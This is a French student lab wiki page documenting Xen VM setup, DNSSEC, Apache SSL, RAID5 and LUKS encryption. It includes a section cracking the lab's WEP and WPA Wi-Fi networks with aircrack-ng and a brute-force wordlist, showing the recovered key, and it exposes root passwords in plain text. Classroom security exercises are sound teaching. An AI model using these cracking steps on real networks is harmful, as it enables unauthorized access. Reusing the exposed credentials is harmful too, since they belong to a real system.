TP sysres IMA2a5 2020/2021 G1

De Wiki d'activités IMA

Login: root & password: glopglopglop

Introduction

Ce TP consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système, nous avons eu à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé nous ont permis de mettre en pratique nos connaissances en la matière.


Partie Hardware

Nécessité de changer le rack. Nous avons eu la chance d'avoir à notre disposition du matériel récent que la classe s'est empressée d'installer. Les cartes et alimentations enfichées dans le rack initialement contenu dans la baie ont été retirées une à une afin de l'alléger. Ensuite le rack (non E) a été retiré. Puis le nouveau rack (E) a été mis dans la baie. Les points de fixations ont du être adaptés. Suivi par "l’en-fichage" des alimentations ainsi que des nouvelles cartes, correspondant au nouveau rack.


Serveur & Disques

Lors de la première séance de TP, nous avons voulu rajouter des nouveaux disques sur le serveur capbreton. Pour cela, nous avons extrait un disque d'un autre serveur, ainsi qu'un disque présent sur le serveur capbreton afin de les comparer: berceau identique, taille du disque, emplacement de la connectique.


Installation des systèmes d’exploitation

Connexion au serveur

Dans le cadre de notre TP, nous avons du créer nos machines virtuelles sur le serveur capbreton:

ssh capbreton.plil.info

Création de la Machine Virtuelle

Grace à la commande ci-dessous, on définit:

  • Le nom de la machine: rafale
  • Son adresse IP: 193.48.57.164
xen-create-image --hostname rafale --ip 193.48.57.164 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf

Dans un autre terminal, on peut utiliser la commande suivante afin d'afficher l'avancement de l'installation de la machine:

tail -f /var/log/xen-tools/rafale.cfg

Configuration de la Machine Virtuelle

vim /etc/xen/rafale.cfg

Dans le fichier obtenu, dans la catégorie Networking, il a fallu rajouter le bridge de notre groupe, à savoir IMA2a5.

#
# Configuration file for the Xen instance rafale, created
# by xen-tools 4.8 on Fri Sep  25 10:23:30 2020.
#

#
#  Kernel + memory size
#
kernel      = '/boot/vmlinuz-4.19.0-9-amd64'
extra       = 'elevator=noop'
ramdisk     = '/boot/initrd.img-4.19.0-9-amd64'

vcpus       = '1'
memory      = '256'


#
#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
'file:/usr/local/xen/domains/rafale/disk.img,xvda2,w',
'file:/usr/local/xen/domains/rafale/swap.img,xvda1,w',
]


#
#  Physical volumes
#


#
#  Hostname
#
name        = 'rafale'

#
#  Networking
#
dhcp        = 'dhcp'
vif         = [ 'mac=00:16:3E:92:0E:6D, bridge=IMA2a5' ]

#
#  Behaviour
#
on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'

Home & Var

Sur capbreton:

lvcreate -L10G -n rafale-home virtual
lvcreate -L10G -n rafale-var virtual
mke2fs /dev/virtual/rafale-home
mke2fs /dev/virtual/rafale-var

Puis dans le fichier /etc/xen/rafale.cfg:

disk    	= [
                	'file:/usr/local/xen/domains/rafale/disk.img,xvda2,w',
                	'file:/usr/local/xen/domains/rafale/swap.img,xvda1,w',               
                       'phy:/dev/virtual/rafale-home,xvdb1,w',
                       'phy:/dev/virtual/rafale-var,xvdb2,w',
                 ]

Afin que Home et Var soient pris en compte par la VM, je me connecte sur cette dernière et modifie le fichier /etc/fstab:

vim /etc/fstab
# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb1		/home		ext4		defaults				0		2
/dev/xvdb2		/var		ext4		defaults				0		2                   

On sort du fichier et on va s'occuper du montage de /var, en passant par un dossier provisoire (/mnt):

mount /dev/xvdb2 /mnt
mv /var/* /mnt
umount /mnt
mount -a

On peut taper lsblk ou bien db afin de vérifier la bonne utilisation des volumes.

Démarrage de la Machine Virtuelle

xen create /etc/xen/rafale.cfg
xen console rafale

Le terminal demande ensuite un login et un mot de passe. Le login par défaut est root et le mot de passe est compliqué. Il apparaît tout en bas de la commande tail tapée dans un deuxième terminal, ou on peut le récupérer grâce à la commande (dans un terminal connecté sur capbreton):

cat /var/log/xen-tools/rafale.log | grep Password
Root Password   :  jSWVeqxbg58uvrkfByMxvjJ

Cette dernière commande permet de tout simplement afficher la ligne contenant le mot de passe contenue dans le fichier log. On modifie ensuite ce mot de passe en tapant (sur la VM):

passwd

Le mot de passe est maintenant glopglopglop.

Services Internet

Configuration SSH

Toujours en étant connecté sur la VM, on installe le package openssh-server:

apt install openssh-server

On modifie le fichier de configuration du DNS:

vim /etc/ssh/sshd_config

Puis après avoir modifier ce fichier, on redémarre le SSH:

service ssh restart
[ ok ] Restarting OpenBSD Secure Shell server: sshd.

On peut vérifier que le SSH soit bien en route:

service ssh status
[ ok ] sshd is running.

Configuration DNS

On rajoute une option dans le fichier /etc/bind/named.conf.options:

dnssec-enable yes;

On se place dans le dossier /etc/bind et on crée un nouveau répertoire afin d'y stocker les clés:

cd /etc/bind
mkdir liosaw.site.dnssec
cd liosaw.site.dnssec

On génère ensuite les clés:

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE liosaw.site
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE liosaw.site

Puis on les renomme grâce à mv:

liosaw.site-ksk.key
liosaw.site-ksk.private
liosaw.site-zsk.key
liosaw.site-zsk.private

On apporte quelques modifications à /etc/bind/liosaw.site:

$include /etc/bind/liosaw.dnssec/liosaw.site-ksk.key
$include /etc/bind/liosaw.site.dnssec/liosaw.site-zsk.key

Et on effectue la signature des enregistrements de la zone:

dnssec-signzone -o liosaw.site -k /etc/bind/liosaw.site.dnssec/liosaw.site-ksk liosaw.site /etc/bind/liosaw.site.dnssec/liosaw.site-zsk

Un fichier liosaw.site.signed a bel et bien été créé dans /etc/bind.

On modifie maintenant le fichier /etc/bind/named.conf.local:

 file "/etc/bind/liosaw.site.signed";

On se rend sur le site gandi.net et dans la section DNSSEC on ajoute les clés trouvées dans le fichier liosaw.site-ksk.key:

AwEAActlYbMs52QQoWETq5YrPmmc4xLvY1Ayj5SpEDHb8tX15DmClDC4 KhzLBUeQlWOUZsByYAtTGsz48cJCzqqbxm9F3lZvPU70O2GlCVIOP5QQ TMKasLTcwt2o9548g1nIGKr6todOGbLvsSUSj9C5UeLTGxstkALEOpTc kU5PC4q5wkBXL/8qwlgaX7z/7OQvQXsxktMR2I3G97wE/MwgaNMWka36 o9zcQrGhgPp/oW9wDV2RWOPdeCUP69k1G5atjKoGBtg3S8DaNwh3AMFv BAvk+oUJJqMcLRb7cGuDk2Jo6RzUeZHVKzbSSg1RYuxVcfCbUAU/0UJh T818vNOyA4U=

On redémarre Bind9:

service bind9 restart

On peut ensuite vérifier la chaîne d'authentification grâce à: https://dnsviz.net/d/liosaw.site/dnssec/

Apache2

https://doc.ubuntu-fr.org/tutoriel/securiser_apache2_avec_ssl

Sur la machine virtuelle, on se place dans le dossier /etc/apache2/sites-available et on crée un fichier liosaw.site.conf amené à remplacer default-ssl.conf:

cd /etc/apache2/sites-available
vim liosaw.site.conf
<VirtualHost *:80>
   ServerName liosaw.site
   ServerAlias www.liosaw.site
   ServerAdmin lionelsawicz@gmail.com
   DocumentRoot /var/www/html
   Redirect permanent / https://liosaw.site

</VirtualHost>

<VirtualHost *:443>

   ServerName liosaw.site
   ServerAlias www.liosaw.site
   ServerAdmin lionelsawicz@gmail.com
   DocumentRoot /var/www/html

<Directory /var/www/html> Options -Indexes +FollowSymLinks +MultiViews AllowOverride none Require all granted </Directory>

     	SSLEngine on

SSLCertificateFile /etc/apache2/certif/liosaw.site.crt SSLCertificateKeyFile /etc/apache2/certif/liosaw.key

       SSLCACertificateFile    /etc/apache2/certif/GandiStandardSSLCA2.pem

ErrorLog /var/log/apache2/error.liosaw.site-secu.log CustomLog /var/log/apache2/access.liosaw.site-secu.log combined </VirtualHost>


Certificat SSL

On installe mailx:

apt install bsd-mailx

Ainsi que postfix:

apt install postfix

On choisit les options site internet puis on entre notre nom de domaine: liosaw.site

On modifie le fichier /etc/aliases:

admin : root

Suivi par la commande:

newaliases

On peut maintenant tester l'envoi d'un mail sur admin@liosaw.site.

On se place dans le répertoire /etc/apache2, on crée un répertoire certifet on se place dans ce dossier :

cd /etc/apache2
mkdir certif
cd certif

Grâce à l'aide fournie sur Gandi, on trouve la commande permettant de générer les clés .key et .csr:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout liosaw.key -out liosaw.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
Organizational Unit Name (eg, section) []:SE2A5
Common Name (e.g. server FQDN or YOUR name) []:liosaw.site
Email Address []:lionelsawicz@gmail.com
Please enter the following 'extra' attributes to be sent with your certificate request
A challenge password []:glopglopglop
An optional company name []:

Ensuite on peut se rendre sur Gandi dans SSL Certificates et on procède à l'achat du certificat. Pour cela on doit copier le .csr sur le site:

cat liosaw.csr
-----BEGIN CERTIFICATE REQUEST-----
MIIC9TCCAd0CAQAwgZIxCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD
VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDjAMBgNVBAsMBVNF
MkE1MRQwEgYDVQQDDAtsaW9zYXcuc2l0ZTElMCMGCSqGSIb3DQEJARYWbGlvbmVs
c2F3aWN6QGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOXk6CAqkOMG+i6z4lWWF/gUaiwkYaeJjAs7JC2iQE5EuImDk1upBNrrQF268ndo
uuSNnTKpL5TahfnU7XsBThG7zGoHABHIcH6cmeIo6o1kpqZTmqCGMlGY0Ox7CJ2c
4hPEXHOwxepde3v/t/iAZoHskL3d81pJIbE3tX7552NPpkQEHrofxgNa/l4l6eXh
5cufN9Wd3hyne+Vz32HXUgjMNoNy0H5Y2Y84fpqMp2ROAXJ9dtMvgGbm3hpMS0a1
R9juGpqkcVgL+e7kAfsTD1AYg3fqhDRYizD/UAuEu65gsxR4a4BBNEBX2LvEIgF1
15wAv4ks1xyVnqp+wDq4IHECAwEAAaAdMBsGCSqGSIb3DQEJBzEODAxnbG9wZ2xv
cGdsb3AwDQYJKoZIhvcNAQELBQADggEBADym12xQF+qtpQYtFFgdtt/HPJI9sFa/
TER/jTslUihwqzPzzUPBZamJsQCLB/VIjsazY1y4axYL31rNnSYQiQoaN2AneHge
EhMAfSExuv0VJxbB6dWew9D3WfT3Lfat2r/FiChuDEqDlYTH6RY4jsTYMD3i8L8l
rGZGdpKjyR6N4EaPAo41f9aoiPcQF8wwXj9yDNcxFwLKR9Ks9pRDw5QrBeeI9E2d
LpoPwO0yoiOlR2J2a2gPQ57IjnznwHS6DO2Fa2LTSUw1d7Rg1DWIserNQgy+JZ2U
HKpPtaZY05Ixsrg4NMFHR+vdL9oN+S8TilDWSrO1YNAHYnkHDEVMKog=
-----END CERTIFICATE REQUEST-----

Et on choisit la vérification par mail. On regarde ses mails grâce à la commande mailx ou mutt et on peut finaliser l'achat du certificat.

Suite à cela, on peut télécharger deux fichiers: un .pem et un .crt qui seront sur la zabeth. On peut les copier sur la machine virtuelle.

Depuis un terminal ouvert sur la zabeth:

cd /Téléchargement
scp liosaw.site.crt root@193.48.57.164:/etc/apache2/certif
scp GandiStandardSSLCA2.pem root@193.48.57.164:/etc/apache2/certif


Tests d'intrusion

Cassage WEP

apt-get install aircrack-ng
airmon-ng

PHY	Interface	Driver		Chipset
phy3	wlx40a5ef0590b2	rt2800usb	Ralink Technology, Corp. RT5370
airmon-ng start wlx40a5ef0590b2

PHY	Interface	Driver		Chipset
phy3	wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370
airodump-ng --encrypt wep -c 2 wlan0mon
ip link set wlan0mon up
dmseg
apt install firmware-linux-nonfree
airodump-ng --encrypt wep wlan0mon
airodump-ng --encrypt wep -c 9 wlan0mon

04:DA:D2:9C:50:50

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:50 wlan0mon
airodump-ng -c 9 --bssid 04:DA:D2:9C:50:50 -w data.txt wlan0mon

Dans un autre terminal:

aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap

Cassage WPA

On procède de la même manière que pour le cassage WEP:

airmon-ng

PHY	Interface	Driver		Chipset
phy3	wlx40a5ef0590b2	rt2800usb	Ralink Technology, Corp. RT5370
airmon-ng start wlx40a5ef0590b2

PHY	Interface	Driver		Chipset
phy3	wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370


airodump-ng --encrypt wpa wlan0mon
airodum-ng --encrypt -c 4 wpa wlan0mon

00:14:1B:60:8C:20

On crée un dictionnaire de mots de passe grâce à crunch:

crunch 8 8 0123456789 >> dico_mdp.txt

Dans un autre terminal:

aircrack-ng data*.cap -w dico_mdp.txt
Aircrack-ng 1.5.2 
[00:39:37] 10189509/102795810 keys tested (5109.71 k/s) 
Time left: 5 hours, 2 minutes, 6 seconds                   9.91%
                     KEY FOUND! [ 10222222 ]
Master Key     : 30 D0 05 C7 07 62 21 5B 2F EA DA 24 D2 69 2B 2E 
                 0A 3A E3 92 13 1A C2 11 4A 94 09 B9 23 8E D1 D5 
Transient Key  : 5C CA 88 B1 E8 C7 71 88 1F 32 36 28 66 90 F4 88 
                 A1 DD 58 C6 E7 09 2C 8D 8D CA A6 F4 D8 A0 6A A9 
                 D6 AF 1C 18 93 B4 6A 51 8B 8F 3E 97 96 7C 1C 61 
                 0E 15 78 82 D1 91 BB 5C 84 F5 A4 9D E5 D2 C9 E5 
EAPOL HMAC     : A7 CA 2F 8E 12 05 BF 54 43 02 D0 75 00 2F 72 63


Réalisations

Sécurisation de données

https://doc.ubuntu-fr.org/raid_logiciel

On crée trois partitions sur Capbreton:

lvcreate -L1G -n rafale-raid1 virtual
lvcreate -L1G -n rafale-raid2 virtual
lvcreate -L1G -n rafale-raid3 virtual

On peut vérifier grâce à la commande lvdisplay

mke2fs /dev/virtual/rafale-raid1
mke2fs /dev/virtual/rafale-raid2
mke2fs /dev/virtual/rafale-raid3

On éteint la machine virtuelle:

xen shut rafale

Et on modifie le fichier de configuration:

disk= [   ......................
            'phy:/dev/virtual/rafale-raid1,xvdb3,w',
            'phy:/dev/virtual/rafale-raid2,xvdb4,w',
            'phy:/dev/virtual/rafale-raid3,xvdb5,w',
]

On redémarre la machine virtuelle:

xen create /etc/xen/rafale.cfg

Puis on se connecte avec un xen console rafale ou ssh root@193.48.57.164 et on installe mdadm:

apt-get install mdadm

On construit le volume RAID md0:

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5

On termine la construction par la daemonisation du volume RAID. On fait en sorte que le système charge le volume à chaque démarrage:

 mdadm --monitor --daemonise /dev/md0

On formate le volume RAID:

mkfs.ext4 /dev/md0

On modifie maintenant le fichier /etc/fstab afin d'y inclure md0:

/dev/md127 	/media/raid	ext4	defaults 	0	1

Et on crée le dossier /media/raid:

mkdir /media/raid

Grâce à la commande fdisk -l , on peut obtenir des informations sur les disques. (md0 est devenu md127 entre temps.)

mount -a

Chiffrement de données

Sur la zabeth, on commence par installer lvm2 et cryptsetup:

apt-get install lvm2
apt-get install cryptsetup

Ensuite on affiche les périphériques disponibles:

lsblk

Puis on accède à un menu permettant d'effectuer des manipulations sur la clé:

fdisk /dev/sdb

On peut supprimer les partitions existantes avec d puis en créer une nouvelle avec n puis p puis valider toutes les options par défaut.

On peut maintenant chiffrer le périphérique:

cryptsetup luksFormat -c aes -h sha256 /dev/sdb1
cryptsetup open --type luks /dev/sda1 home
cryptsetup close --type luks home